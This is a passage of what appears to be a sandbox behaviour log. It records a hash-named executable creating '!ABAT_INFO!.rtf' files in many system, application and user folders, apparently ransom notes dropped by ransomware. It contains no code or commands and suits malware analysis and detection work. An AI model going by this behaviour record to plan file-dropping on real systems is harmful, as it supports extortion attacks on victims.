OLEDB\10\Resources\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Recorded TV\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\Cache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Favorites\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Videos\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Microsoft Help\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Videos\Sample Videos\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\84.0.4147.89\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Asia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\deploy\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\startupCache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Update\1.3.35.452\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Links\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\All Users\Microsoft\MF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\db\bin\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Music\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Installer\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Favorites\Microsoft Websites\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{12578975-C765-4BDF-8DDC-3284BC0E855F}v14.21.27702\packages\vcRuntimeAdditional_amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Adobe\Color\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\Kentucky\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Recorded TV\Sample Media\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Searches\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}v12.0.40660\packages\vcRuntimeAdditional_amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Favorites\MSN Websites\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\cmm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Pictures\Sample Pictures\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Music\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\All Users\Microsoft\Assistance\Client\1.0\en-US\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Desktop\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\DUF815Z1\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Favorites\Links for United States\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\browser\features\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\Argentina\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\Documents\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Australia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{CB0836EC-B072-368D-82B2-D3470BF95707}v12.0.40660\packages\vcRuntimeMinimum_amd64\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Desktop\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Public\Videos\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\db\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\Indiana\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program 